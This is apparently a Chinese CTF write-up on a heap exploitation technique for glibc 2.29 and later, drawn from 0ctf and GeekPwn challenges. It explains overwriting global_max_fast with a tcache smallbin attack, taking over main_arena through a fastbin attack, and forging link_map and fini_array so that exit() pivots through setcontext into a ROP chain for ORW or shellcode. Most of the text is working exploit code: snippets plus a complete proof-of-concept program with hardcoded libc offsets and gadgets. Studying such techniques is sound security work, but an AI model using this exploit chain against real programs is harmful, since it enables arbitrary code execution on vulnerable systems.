主要是在2.29以上的高版本glibc中,setcontext的参数改成了rdx,所以free_hook不能再setcontext rop orw或者进行mprotect运行shellcode
在0ctf的时候遇到了第一次,当时没做出来,是haivk做出来的,师傅tql,感谢师傅提供的思路和wp,之后再geekpwn又遇到了一次
主要是程序进行exit退出时,会执行以下代码
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) (); //漏洞产生点,调用函数数组。
}
enter code here
通过link_map来运行fini_array的函数,当执行到fini_arry第二个函数时,rdx指向的就是第一个fini_array的位置
所以可以通过劫持程序的link_map来劫持程序的fini_array,这样rdx就可以控制,同时也可以控制程序流进行setcontext
然后是main_arena劫持, 当程序不能分配tcache bin时(比如只能用calloc分配),可以通过tcache smallbin attack 改写global_max_fast,从而fastbin attack劫持main_arena的topchunk, 从而分配内存进行任意地址读写
具体的实现如下
b[0] = calloc(1, 0x90);
calloc(1, 0x80);
b[1] = calloc(1, 0x90);
calloc(1, 0x80);
for(int i = 0; i < 7; i++)
free(a[i]);
free(b[0]);
free(b[1]);
calloc(1, 0x400);
malloc(0x90);
b[1][1] = global_max_fast_addr - 0x10;
calloc(1, 0x90);
enter code here
首先通过tcache smallbin attack改写global_max_fast,改写fastbin最大大小,然后释放内存到fastbin,arena的hava fastbin chunk就会被置1,可以使用0x100 的fastbin attack申请下main_arena,然后改写link_map附近,link_map相对于libc的偏移远程很可能是不一样的,但只有第四,第五位不一样,爆破一下就好了
for(int i =0; i < 8; i++)//fastbin attack 申请 main_arena 改写 topchunk 到 link_map 附近
free(c[i]);
c[7][0] = main_arena_ptr - 1;
calloc(1, 0xf0);
unsigned long main_arena_1 = calloc(1, 0xf0);
char * test = main_arena_1;
test[0] = 0x7a;
unsigned long * arena_ptr = main_arena_1 + 1;
unsigned long attack_link_map = libc_addr + 0x236190 - 0x14;
arena_ptr[10] = attack_link_map;
arena_ptr[12] = 0x1eabe0 + libc_addr;//因为calloc会将内存置零所以要修复arena,防止报错
arena_ptr[13] = 0x1eabe0 + libc_addr;
arena_ptr[14] = 0x1eabf0 + libc_addr;
arena_ptr[15] = 0x1eabf0 + libc_addr;
arena_ptr[16] = 0x1eac00 + libc_addr;
arena_ptr[17] = 0x1eac00 + libc_addr;
arena_ptr[18] = 0x1eac10 + libc_addr;
arena_ptr[19] = 0x1eac10 + libc_addr;
arena_ptr[20] = 0x1eac20 + libc_addr;
arena_ptr[21] = 0x1eac20 + libc_addr;
arena_ptr[22] = 0x1eac30 + libc_addr;
arena_ptr[23] = 0x1eac30 + libc_addr;
arena_ptr[24] = 0x1eac40 + libc_addr;
arena_ptr[25] = 0x1eac40 + libc_addr;
arena_ptr[26] = 0x1eac50 + libc_addr;
arena_ptr[27] = 0x1eac50 + libc_addr;
arena_ptr[28] = 0;
arena_ptr[29] = 0;
enter code here
然后劫持link_map 修改fini_array
unsigned long my_link_map = calloc(0x1e0 ,1) + 4;
unsigned long * link_map_ptr = my_link_map;
link_map_ptr[0] = my_link_map + 0x20;//设置l_addr,指向fini_array
link_map_ptr[3] = my_link_map + 0x5a0;//l_next
link_map_ptr[5] = my_link_map;//l_real,指向link_map
link_map_ptr[6] = setcontext_addr + 0x3d;//伪造的fini_array,会先运行ret,然后运行setcontext时,rdx指向link_map+ 0x38,也就是ret的伪造
link_map_ptr[7] = ret;
//这里伪造rop链
link_map_ptr[8] = 0;
link_map_ptr[9] = pop_rsi;
link_map_ptr[10] = my_link_map + 0x78;
link_map_ptr[11] = pop_rdx_r12;
link_map_ptr[12] = 0x100;
link_map_ptr[13] = 0;
link_map_ptr[14] = syscall_ret;
link_map_ptr[27] = my_link_map + 0x40;//设置setcontext过程t的rsp
link_map_ptr[28] = pop_rdi;//设置setcontext过程的rip
link_map_ptr[34] = my_link_map + 0x110;//伪造指向fini_array偏移的指针
link_map_ptr[35] = 0;//fini_array偏移
link_map_ptr[36] = my_link_map + 0x120;//伪造指向fini_array个数的指针
link_map_ptr[37] = 0x20;//fini_array函数个数
enter code here
此时退出程序时,就会指向伪造fini_array函数从而运行我们的rop链,从而可以读入更长的rop链,进行orw或者mprotect执行shellcode
完整代码
#include<stdlib.h>
#include<stdio.h>
int main()
{
unsigned long libc_addr = &puts;
libc_addr = libc_addr - 0x87490;
printf("libc_addr is %lx\n", libc_addr);
unsigned long pop_rax = libc_addr + 0x0000000000028ff4;
unsigned long pop_rdx_r12 = libc_addr + 0x000000000011c3b1;
unsigned long pop_rsi = libc_addr + 0x000000000002709c;
unsigned long pop_rdi = libc_addr + 0x0000000000026bb2;
unsigned long syscall_ret = libc_addr + 0x0000000000066199;
unsigned long global_max_fast_addr = libc_addr + 0x1edb78;
unsigned long main_arena_ptr = libc_addr + 0x1eab80;
unsigned long setcontext_addr = libc_addr + 0x58000;
unsigned long ret = libc_addr + 0x000000000006619B;
unsigned long * a[7];//tcache smallbin attack 改写 global_max_fast
unsigned long * c[8];
for(int i = 0; i < 7; i++)
a[i] = calloc(1, 0x90);
for(int i = 0; i< 8; i++)
c[i] = calloc(1, 0xf0);
unsigned long * b[2];
b[0] = calloc(1, 0x90);
calloc(1, 0x80);
b[1] = calloc(1, 0x90);
calloc(1, 0x80);
for(int i = 0; i < 7; i++)
free(a[i]);
free(b[0]);
free(b[1]);
calloc(1, 0x400);
malloc(0x90);
b[1][1] = global_max_fast_addr - 0x10;
calloc(1, 0x90);
for(int i =0; i < 8; i++)//fastbin attack 申请 main_arena 改写 topchunk 到 link_map 附近
free(c[i]);
c[7][0] = main_arena_ptr - 1;
calloc(1, 0xf0);
unsigned long main_arena_1 = calloc(1, 0xf0);
char * test = main_arena_1;
test[0] = 0x7a;
unsigned long * arena_ptr = main_arena_1 + 1;
unsigned long attack_link_map = libc_addr + 0x236190 - 0x14;
arena_ptr[10] = attack_link_map;
arena_ptr[12] = 0x1eabe0 + libc_addr;
arena_ptr[13] = 0x1eabe0 + libc_addr;
arena_ptr[14] = 0x1eabf0 + libc_addr;
arena_ptr[15] = 0x1eabf0 + libc_addr;
arena_ptr[16] = 0x1eac00 + libc_addr;
arena_ptr[17] = 0x1eac00 + libc_addr;
arena_ptr[18] = 0x1eac10 + libc_addr;
arena_ptr[19] = 0x1eac10 + libc_addr;
arena_ptr[20] = 0x1eac20 + libc_addr;
arena_ptr[21] = 0x1eac20 + libc_addr;
arena_ptr[22] = 0x1eac30 + libc_addr;
arena_ptr[23] = 0x1eac30 + libc_addr;
arena_ptr[24] = 0x1eac40 + libc_addr;
arena_ptr[25] = 0x1eac40 + libc_addr;
arena_ptr[26] = 0x1eac50 + libc_addr;
arena_ptr[27] = 0x1eac50 + libc_addr;
arena_ptr[28] = 0;
arena_ptr[29] = 0;
unsigned long my_link_map = calloc(0x1e0 ,1) + 4;
unsigned long * link_map_ptr = my_link_map;
link_map_ptr[0] = my_link_map + 0x20;//l_addr
link_map_ptr[3] = my_link_map + 0x5a0;//l_next
link_map_ptr[5] = my_link_map;//l_real
link_map_ptr[6] = setcontext_addr + 0x3d;
link_map_ptr[7] = ret;
link_map_ptr[8] = 0;
link_map_ptr[9] = pop_rsi;
link_map_ptr[10] = my_link_map + 0x78;
link_map_ptr[11] = pop_rdx_r12;
link_map_ptr[12] = 0x100;
link_map_ptr[13] = 0;
link_map_ptr[14] = syscall_ret;
link_map_ptr[27] = my_link_map + 0x40;
link_map_ptr[28] = pop_rdi;
link_map_ptr[34] = my_link_map + 0x110;
link_map_ptr[35] = 0;
link_map_ptr[36] = my_link_map + 0x120;
link_map_ptr[37] = 0x20;
}